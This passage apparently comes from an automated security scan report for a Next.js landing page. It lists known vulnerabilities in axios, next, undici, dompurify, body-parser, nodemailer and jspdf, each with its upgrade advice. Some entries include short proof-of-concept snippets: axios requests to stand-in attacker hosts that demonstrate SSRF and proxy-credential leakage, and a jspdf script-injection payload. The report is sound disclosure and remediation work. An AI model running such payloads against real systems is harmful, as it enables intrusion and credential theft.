When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.33.0, 1.18.0 or higher.

References

medium severity

Unintended Proxy or Intermediary ('Confused Deputy')

  • Vulnerable module: axios
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 localtunnel@2.0.2 axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Unintended Proxy or Intermediary ('Confused Deputy') via improper hostname normalization in the NO_PROXY environment variable. An attacker controlling request URLs can access internal or loopback services by crafting requests (with a trailing dot or [::1]) that bypass proxy restrictions, causing sensitive requests to be routed through an unintended proxy.

Note:

This is only exploitable if the application relies on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access.

Remediation

Upgrade axios to version 0.31.0, 1.15.0 or higher.

References

medium severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: body-parser
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 express@4.21.2 body-parser@1.20.3
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/remote-server@0.114.0-2 express@4.21.2 body-parser@1.20.3

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to invalid limit option handling in normalizeOptions in lib/utils.js. An attacker can force oversized request bodies through by supplying an application configuration value for limit that parses to null, such as an unparseable string or NaN. When an app relies on limit to cap body size, the parser skips enforcement and accepts arbitrarily large payloads, driving excessive memory and CPU usage and degrading or crashing the service.

Remediation

Upgrade body-parser to version 1.20.6, 2.3.0 or higher.

References

medium severity

Operator Precedence Logic Error

  • Vulnerable module: dompurify
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 monaco-editor@0.54.0 dompurify@3.1.7
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 swagger-ui-react@5.31.2 dompurify@3.2.6

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Operator Precedence Logic Error in the form of short-circuit evaluation that gives precedence to ADD_TAGS over FORBID_TAGS in _sanitizeElements(). In an application where ADD_TAGS is used as a function (via EXTRA_ELEMENT_HANDLING.tagCheck) and FORBID_TAGS is in use, an attacker can cause forbidden tags to be allowed.

Remediation

Upgrade dompurify to version 3.4.0 or higher.

References

medium severity

Acceptance of Extraneous Untrusted Data With Trusted Data

  • Vulnerable module: next
  • Introduced through: next@15.2.6 and ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron next@15.2.6
    Remediation: Upgrade to next@15.5.16.
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 next@15.4.11

Overview

next is a react framework.

Affected versions of this package are vulnerable to Acceptance of Extraneous Untrusted Data With Trusted Data through the improper handling of the x-nextjs-data header in middleware or proxy redirect responses. An attacker can disrupt access to redirect paths by injecting this header in requests, causing the middleware to generate a redirect response lacking a standard Location header. If a CDN or reverse proxy caches this malformed response without varying on the injected header, subsequent users may receive unusable redirects, resulting in service disruption until the cache is cleared.

Workaround

This vulnerability can be mitigated by configuring the CDN or reverse proxy to vary its cache key on x-nextjs-data for affected responses.

Remediation

Upgrade next to version 15.5.16, 16.2.5 or higher.

References

medium severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: next
  • Introduced through: next@15.2.6 and ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron next@15.2.6
    Remediation: Upgrade to next@15.5.21.
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 next@15.4.11

Overview

next is a react framework.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the handleAction Server Actions path in the App Router Edge runtime. An attacker can exhaust server memory by sending an oversized Server Action request, especially a multipart form submission, because the Edge handler reads the full body without enforcing serverActions.bodySizeLimit. This can crash or destabilize affected deployments and prevent legitimate Server Action requests from being processed.

Notes

  • Affected deployments need App Router pages with at least one Server Action running in the Edge runtime; the issue is in that execution path rather than in Server Actions generally.
  • The advisory’s practical ceiling is tied to hosting-side request body limits: if the platform does not cap uploads, an oversized multipart action request can still drive memory growth before application code sees it.

Workarounds

  • Limit Server Actions request bodies at your hosting provider to 5 MiB maximum, so oversized multipart submissions cannot reach the Edge runtime and trigger excessive memory use.

Remediation

Upgrade next to version 15.5.21, 16.2.11 or higher.

References

medium severity

HTTP Request Smuggling

  • Vulnerable module: next
  • Introduced through: next@15.2.6 and ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron next@15.2.6
    Remediation: Upgrade to next@15.5.13.
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 next@15.4.11

Overview

next is a react framework.

Affected versions of this package are vulnerable to HTTP Request Smuggling during the rewrite of the proxy traffic to an external backend. An attacker can access unintended backend routes by sending crafted DELETE or OPTIONS requests with Transfer-Encoding: chunked headers. This is only exploitable if the application is not hosted on providers that handle rewrites at the CDN level.

Workaround

This vulnerability can be mitigated by blocking chunked DELETE/OPTIONS requests on rewritten routes at the edge/proxy, or by enforcing authentication and authorization on backend routes.

Remediation

Upgrade next to version 15.5.13, 16.1.7, 16.2.0-canary.102 or higher.

References

medium severity
new

Improper Encoding or Escaping of Output

  • Vulnerable module: next
  • Introduced through: next@15.2.6 and ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron next@15.2.6
    Remediation: Upgrade to next@15.5.21.
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 next@15.4.11

Overview

next is a react framework.

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output via the IncrementalCache.generateCacheKey function in next/dist/server/lib/incremental-cache. An attacker can make a server-side fetch return a cached response body from a different request by sending POST requests to the same URL with different non-UTF-8 request bodies that collapse to the same cache key. The affected cache key generation decodes request bodies as strings, so distinct byte sequences with invalid UTF-8 can hash to the same entry even though the requests are not deduped. This can leak confidential response data from one POST to an unauthorized request that uses a colliding body, breaking response isolation for server-side cached fetches.

Notes

  • Applications using Pages Router are not affected; the advisory’s cache-key confusion is in the server-side fetch cache path used by the App Router/IncrementalCache flow.
  • The issue is only reachable when request bodies are sent with a non-UTF-8 charset or otherwise contain byte sequences that do not round-trip as UTF-8; default UTF-8 request bodies do not trigger the collision described in the advisory.

Remediation

Upgrade next to version 15.5.21, 16.2.11 or higher.

References

medium severity
new

Insertion of Sensitive Information Into Sent Data

  • Vulnerable module: next
  • Introduced through: next@15.2.6 and ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron next@15.2.6
    Remediation: Upgrade to next@15.5.21.
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 next@15.4.11

Overview

next is a react framework.

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in action-handler.ts and action-utils.ts. An attacker can enumerate internal Server Action IDs by sending crafted Next-Action requests or probing client-served artifacts that reference those IDs. This exposes the presence of internal server functions and enables endpoint discovery on apps that use Server Actions, increasing the risk of further abuse when combined with other weaknesses.

Notes

  • Publicly served client artifacts can reveal the full Server Action ID format, so the disclosure is not limited to active probing with Next-Action; attackers can also recover candidate IDs from browser-delivered chunks and manifests in apps that ship Server Actions.
  • The advisory also covers use cache endpoints exposed through the same App Router server-function machinery, not just use server actions.

Workarounds

  • Never assume authentication at the use cache or use server boundary; authenticate inside the Server Action or cache boundary itself so unauthenticated users cannot reach the internal endpoint.

Remediation

Upgrade next to version 15.5.21, 16.2.11 or higher.

References

medium severity

Interpretation Conflict

  • Vulnerable module: next
  • Introduced through: next@15.2.6 and ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron next@15.2.6
    Remediation: Upgrade to next@15.5.16.
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 next@15.4.11

Overview

next is a react framework.

Affected versions of this package are vulnerable to Interpretation Conflict via improper handling of shared cache entries for React Server Component responses. An attacker can cause unintended component payloads to be served to other users by manipulating shared cache behavior through crafted requests.

Workaround

This vulnerability can be mitigated by ensuring your CDN or reverse proxy keys on the relevant RSC request headers honor Vary, or by disabling shared caching for affected App Router and RSC responses.

Remediation

Upgrade next to version 15.5.16, 16.2.5 or higher.

References

medium severity

Use of Cache Containing Sensitive Information

  • Vulnerable module: next
  • Introduced through: next@15.2.6

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron next@15.2.6
    Remediation: Upgrade to next@15.4.2.

Overview

next is a react framework.

Affected versions of this package are vulnerable to Use of Cache Containing Sensitive Information in the image optimization process, when responses from API routes vary based on request headers such as Cookie or Authorization. An attacker can gain unauthorized access to sensitive image data by exploiting cache key confusion, causing responses intended for authenticated users to be served to unauthorized users.

Note: Exploitation requires a prior authorized request to populate the cache.

Remediation

Upgrade next to version 14.2.31, 15.4.2-canary.19, 15.4.5 or higher.

References

medium severity

Use of Weak Hash

  • Vulnerable module: next
  • Introduced through: next@15.2.6 and ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron next@15.2.6
    Remediation: Upgrade to next@15.5.16.
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 next@15.4.11

Overview

next is a react framework.

Affected versions of this package are vulnerable to Use of Weak Hash via collisions in the _rsc cache-busting process. An attacker can manipulate cache entries by crafting requests that cause shared caches to serve incorrect response variants to users. This is only exploitable if deployments rely on shared caches with insufficient response partitioning.

Workaround

This vulnerability can be mitigated by ensuring intermediary caches correctly honor Vary for RSC-related request headers, or by disabling shared caching for affected RSC responses until a patched release is deployed.

Remediation

Upgrade next to version 15.5.16, 16.2.5 or higher.

References

medium severity
new

HTTP Request Smuggling

  • Vulnerable module: undici
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @vercel/blob@1.1.1 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/markitdown@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/pdf@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/wizard@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/markitdown@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/pdf@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/wizard@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to HTTP Request Smuggling due to the interceptors.retry() flow in lib/handler/retry-handler.js. An attacker can cause a proxy or gateway that forwards Undici responses to emit a body whose length does not match the Content-Length header by sending a partial 206 response with mismatched framing and closing the connection to trigger a retry or resume. This can corrupt downstream HTTP framing, causing client or intermediary hangs and response parsing errors, and can expose users of the forwarding service to broken responses or connection desynchronization.

Remediation

Upgrade undici to version 6.28.0, 7.29.0, 8.9.0 or higher.

References

medium severity
new

Improper Neutralization

  • Vulnerable module: undici
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @vercel/blob@1.1.1 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/markitdown@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/pdf@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/wizard@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/markitdown@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/pdf@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/wizard@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to Improper Neutralization via unsanitized domain handling and unparsed attribute serialization in lib/web/cookies/util.js. An attacker can inject or override cookie attributes by supplying a crafted domain such as example.com; SameSite=None or an unparsed entry such as X-Custom=val; HttpOnly to setCookie. When applications pass user-controlled tenant or routing data into these fields, the serialized Set-Cookie header can carry attacker-chosen flags like SameSite, Secure, or HttpOnly. This can weaken CSRF protections, alter cookie visibility to scripts, or change how the browser sends the cookie.

Remediation

Upgrade undici to version 6.28.0, 7.29.0, 8.9.0 or higher.

References

medium severity

Time-of-check Time-of-use (TOCTOU) Race Condition

  • Vulnerable module: undici
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @vercel/blob@1.1.1 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/markitdown@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/pdf@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/wizard@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/markitdown@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/pdf@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/wizard@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to Time-of-check Time-of-use (TOCTOU) Race Condition in the HTTP/1.1 client when an attacker-controlled upstream server injects an unsolicited response onto an idle keep-alive socket after a request completes. An attacker can cause responses to be delivered to the wrong requests by sending crafted HTTP responses through a compromised or malicious upstream server.

Note: This is only exploitable if the upstream HTTP/1.1 server is attacker-controlled or compromised and keep-alive connection reuse is enabled.

Workaround

This vulnerability can be mitigated by disabling keep-alive connection reuse by setting keepAliveTimeout: 0 on the Client or Pool.

Remediation

Upgrade undici to version 6.27.0, 7.28.0, 8.5.0 or higher.

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: axios
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 localtunnel@2.0.2 axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to the allowAbsoluteUrls attribute being ignored in the call to the buildFullPath function from the HTTP adapter. An attacker could launch SSRF attacks or exfiltrate sensitive data by tricking applications into sending requests to malicious endpoints.

PoC

const axios = require('axios');
const client = axios.create({baseURL: 'http://example.com/', allowAbsoluteUrls: false});
client.get('http://evil.com');

Remediation

Upgrade axios to version 0.30.0, 1.8.2 or higher.

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: axios
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 localtunnel@2.0.2 axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to not setting allowAbsoluteUrls to false by default when processing a requested URL in buildFullPath(). It may not be obvious that this value is being used with the less safe default, and URLs that are expected to be blocked may be accepted. This is a bypass of the fix for the vulnerability described in CVE-2025-27152.

Remediation

Upgrade axios to version 0.30.0, 1.8.3 or higher.

References

medium severity

Insertion of Sensitive Information Into Sent Data

  • Vulnerable module: axios
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 localtunnel@2.0.2 axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in the setProxy function. An attacker can obtain proxy credentials by inducing a redirect from an HTTP request sent through an authenticated proxy to an HTTPS endpoint where no proxy applies, causing the proxy credentials to be forwarded to the final origin.

Note:

This is only exploitable if the application is running in Node.js with the HTTP adapter, an initial HTTP request uses an authenticated proxy, redirects are enabled, the redirect target does not use a proxy, and the redirect shape is not stripped by confidential-header handling.

Workaround

This vulnerability can be mitigated by setting maxRedirects: 0 and handling redirects manually, ensuring Proxy-Authorization is not copied to requests that are not sent through the proxy. Avoid using reusable authenticated HTTP proxy credentials for requests to untrusted origins. If exposure is suspected, rotate the proxy credential.

PoC

process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';
delete process.env.HTTPS_PROXY;

// The local HTTP proxy receives this request and returns:
// HTTP/1.1 302 Found
// Location: https://attacker.test/final
await axios.get('http://attacker.test/start');

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

medium severity
new

Use of Cache Containing Sensitive Information

  • Vulnerable module: next
  • Introduced through: next@15.2.6 and ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron next@15.2.6
    Remediation: Upgrade to next@15.5.21.
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 next@15.4.11

Overview

next is a react framework.

Affected versions of this package are vulnerable to Use of Cache Containing Sensitive Information in createPatchedFetcher in packages/next/src/server/lib/patch-fetch.ts. An attacker can leak a cached response body from one request to another by sending server-side fetch(new Request(...), init) calls to the same URL with different request bodies or overrides. When the Request object and the separate init object diverge, the fetch cache can key the request differently from the effective upstream request, so a response generated for one body is reused for a different body. This exposes confidential data in cached POST responses to unauthorized requests.

Notes

  • Applications using the Pages Router are not in scope for this issue; the advisory applies to the server-side patched fetch path.
  • The leak requires fetch(new Request(...), init) where the separate init overrides the base Request; fetch(new Request(init), init) is the safe shape called out by the maintainers.

Remediation

Upgrade next to version 15.5.21, 16.2.11 or higher.

References

medium severity

Improper Certificate Validation

  • Vulnerable module: nodemailer
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 mailparser@3.9.8 nodemailer@8.0.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 nodemailer@7.0.13

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to Improper Certificate Validation due to the use of rejectUnauthorized: false in the internal HTTPS client, which disables TLS certificate verification during OAuth2 token retrieval. An attacker can intercept sensitive OAuth2 credentials and tokens by performing a machine-in-the-middle attack on the HTTPS connection.

Remediation

Upgrade nodemailer to version 8.0.8 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: jspdf
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 jspdf@4.1.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/components@0.114.0-2 jspdf@4.1.0

Overview

jspdf is a PDF Document creation from JavaScript

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in jspdf.js, when user-controlled values are passed to the options argument, then included unsanitized in the generated HTML and opened by another user. An attacker can cause the execution of scripts in the victim's browser context by supplying malicious input to the pdfObjectUrl option for "pdfobjectnewwindow", the pdfJsUrl and filename options for "pdfjsnewwindow", and the filename option for "dataurlnewwindow".

PoC

import { jsPDF } from 'jspdf';
const doc = new jsPDF();

const payload =  'x\"></iframe><script>window.__n=1</script><iframe src="';

doc.output('pdfjsnewwindow', {
  filename: payload,
  pdfJsUrl: 'viewer.html'
});

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
